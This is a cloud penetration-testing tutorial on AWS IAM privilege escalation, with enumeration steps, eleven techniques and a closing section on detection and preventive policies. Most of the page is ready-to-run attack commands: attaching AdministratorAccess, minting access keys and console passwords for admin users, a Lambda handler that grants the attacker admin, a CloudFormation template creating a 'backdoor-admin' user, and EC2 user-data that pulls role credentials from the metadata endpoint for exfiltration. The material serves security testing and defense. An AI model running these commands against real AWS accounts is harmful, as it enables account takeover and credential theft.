AWS IAM privilege escalation techniques

AWS IAM Privilege Escalation

AWS IAM privilege escalation techniques including policy exploitation, role assumption, and permission enumeration for cloud penetration testing.

Feb 17, 2026
Updated Dec 11, 2025
2 min read

Introduction

AWS Identity and Access Management (IAM) privilege escalation occurs when an attacker with limited permissions exploits misconfigurations to gain higher privileges. Unlike traditional privilege escalation, AWS privesc often involves chaining multiple permissions together or exploiting overly permissive policies.

Understanding IAM privilege escalation is critical for cloud penetration testers and essential for defenders designing least-privilege architectures.

IAM Fundamentals for Pentesters

IAM Principals

PrincipalDescription
Root AccountFull access, should never be used
IAM UsersLong-term credentials (access key + secret)
IAM RolesTemporary credentials, assumable by services
Federated UsersExternal identity providers
Service PrincipalsAWS services acting on your behalf

Policy Evaluation Logic

1. Explicit DENY → Always wins
2. Organization SCPs → Boundary check
3. Resource-based policies → Can grant cross-account
4. IAM Permission Boundaries → Upper limit
5. Identity-based policies → Primary permissions
6. Session policies → Additional restrictions

Enumeration

Identity Discovery

# Who am I?
aws sts get-caller-identity

# What can I do? (enumerate permissions)
# Using enumerate-iam
python enumerate-iam.py --access-key AKIA... --secret-key ...

# Manual enumeration
aws iam list-attached-user-policies --user-name USERNAME
aws iam list-user-policies --user-name USERNAME
aws iam get-user-policy --user-name USERNAME --policy-name POLICY

# For roles
aws iam list-attached-role-policies --role-name ROLENAME
aws iam list-role-policies --role-name ROLENAME
aws iam get-role-policy --role-name ROLENAME --policy-name POLICY

Policy Analysis

# Get policy document
aws iam get-policy-version \
    --policy-arn arn:aws:iam::ACCOUNT:policy/POLICY \
    --version-id v1

# Look for dangerous permissions:
# - iam:* (full IAM access)
# - iam:CreateUser, iam:CreateLoginProfile
# - iam:CreateAccessKey
# - iam:AttachUserPolicy, iam:AttachRolePolicy
# - iam:PutUserPolicy, iam:PutRolePolicy
# - iam:UpdateAssumeRolePolicy
# - sts:AssumeRole (with broad resource)
# - lambda:CreateFunction, lambda:InvokeFunction
# - ec2:RunInstances with iam:PassRole

Privilege Escalation Techniques

1. Creating New Policy Version

If you have iam:CreatePolicyVersion:

# Create new policy version with admin access
aws iam create-policy-version \
    --policy-arn arn:aws:iam::ACCOUNT:policy/POLICY \
    --policy-document '{
        "Version": "2012-10-17",
        "Statement": [{
            "Effect": "Allow",
            "Action": "*",
            "Resource": "*"
        }]
    }' \
    --set-as-default

2. Setting Default Policy Version

If you have iam:SetDefaultPolicyVersion and there's a more permissive version:

# List policy versions
aws iam list-policy-versions --policy-arn arn:aws:iam::ACCOUNT:policy/POLICY

# Set older, more permissive version as default
aws iam set-default-policy-version \
    --policy-arn arn:aws:iam::ACCOUNT:policy/POLICY \
    --version-id v1

3. Creating Access Key for Another User

If you have iam:CreateAccessKey:

# Create access key for admin user
aws iam create-access-key --user-name admin-user

# Use new credentials
export AWS_ACCESS_KEY_ID=...
export AWS_SECRET_ACCESS_KEY=...

4. Creating Login Profile

If you have iam:CreateLoginProfile:

# Enable console access for privileged user
aws iam create-login-profile \
    --user-name admin-user \
    --password 'P@ssw0rd123!' \
    --no-password-reset-required

5. Attaching Administrator Policy

If you have iam:AttachUserPolicy:

# Attach AdministratorAccess to your user
aws iam attach-user-policy \
    --user-name your-user \
    --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

6. Adding User to Privileged Group

If you have iam:AddUserToGroup:

# Add yourself to admin group
aws iam add-user-to-group \
    --user-name your-user \
    --group-name Administrators

7. AssumeRole to Privileged Role

If you have sts:AssumeRole with broad resource:

# List roles
aws iam list-roles

# Assume role with more permissions
aws sts assume-role \
    --role-arn arn:aws:iam::ACCOUNT:role/AdminRole \
    --role-session-name PrivEsc

# Use temporary credentials
export AWS_ACCESS_KEY_ID=...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...

8. Updating AssumeRole Policy

If you have iam:UpdateAssumeRolePolicy:

# Allow your user to assume a privileged role
aws iam update-assume-role-policy \
    --role-name AdminRole \
    --policy-document '{
        "Version": "2012-10-17",
        "Statement": [{
            "Effect": "Allow",
            "Principal": {"AWS": "arn:aws:iam::ACCOUNT:user/your-user"},
            "Action": "sts:AssumeRole"
        }]
    }'

9. Lambda Function Privilege Escalation

If you have lambda:CreateFunction + iam:PassRole:

# Lambda function that escalates privileges
import boto3

def handler(event, context):
    iam = boto3.client('iam')
    iam.attach_user_policy(
        UserName='attacker-user',
        PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
    )
# Create function with privileged execution role
aws lambda create-function \
    --function-name privesc \
    --runtime python3.9 \
    --role arn:aws:iam::ACCOUNT:role/AdminLambdaRole \
    --handler lambda_function.handler \
    --zip-file fileb://function.zip

# Invoke
aws lambda invoke --function-name privesc output.txt

10. EC2 Instance with Privileged Role

If you have ec2:RunInstances + iam:PassRole:

# Launch instance with admin role
aws ec2 run-instances \
    --image-id ami-12345678 \
    --instance-type t2.micro \
    --iam-instance-profile Name=AdminInstanceProfile \
    --user-data '#!/bin/bash
        curl http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole > /tmp/creds
        # Exfiltrate credentials'

11. CloudFormation Privilege Escalation

If you have cloudformation:CreateStack + iam:PassRole:

# CloudFormation template that creates admin user
AWSTemplateFormatVersion: '2010-09-09'
Resources:
  AdminUser:
    Type: AWS::IAM::User
    Properties:
      UserName: backdoor-admin
      ManagedPolicyArns:
        - arn:aws:iam::aws:policy/AdministratorAccess
  AccessKey:
    Type: AWS::IAM::AccessKey
    Properties:
      UserName: !Ref AdminUser
Outputs:
  AccessKeyId:
    Value: !Ref AccessKey
  SecretAccessKey:
    Value: !GetAtt AccessKey.SecretAccessKey

Automated Tools

Pacu

# AWS exploitation framework
pacu

# Run privilege escalation modules
Pacu > run iam__privesc_scan
Pacu > run iam__enum_permissions
Pacu > run iam__enum_users_roles_policies_groups

PMapper

# Graph-based IAM analysis
pmapper graph create
pmapper analysis --output-type text
pmapper visualize --filetype png

cloudsplaining

# IAM security assessment
cloudsplaining download --profile PROFILE
cloudsplaining scan --input-file account-data.json

Detection and Defense

CloudTrail Events to Monitor

- CreateAccessKey
- CreateLoginProfile
- AttachUserPolicy
- AttachRolePolicy
- PutUserPolicy
- PutRolePolicy
- CreatePolicyVersion
- UpdateAssumeRolePolicy
- AddUserToGroup
- AssumeRole (unusual patterns)

Preventive Controls

// SCP to prevent privilege escalation
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "DenyIAMEscalation",
            "Effect": "Deny",
            "Action": [
                "iam:CreatePolicyVersion",
                "iam:SetDefaultPolicyVersion",
                "iam:AttachUserPolicy",
                "iam:AttachRolePolicy",
                "iam:PutUserPolicy",
                "iam:PutRolePolicy",
                "iam:CreateAccessKey",
                "iam:CreateLoginProfile"
            ],
            "Resource": "*",
            "Condition": {
                "StringNotEquals": {
                    "aws:PrincipalArn": "arn:aws:iam::*:role/AdminRole"
                }
            }
        }
    ]
}

Permission Boundaries

// Boundary limiting maximum permissions
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Action": [
                "s3:*",
                "ec2:Describe*"
            ],
            "Resource": "*"
        },
        {
            "Effect": "Deny",
            "Action": "iam:*",
            "Resource": "*"
        }
    ]
}

References

MITRE ATT&CK Techniques

AWS Documentation

Security Resources

Last updated on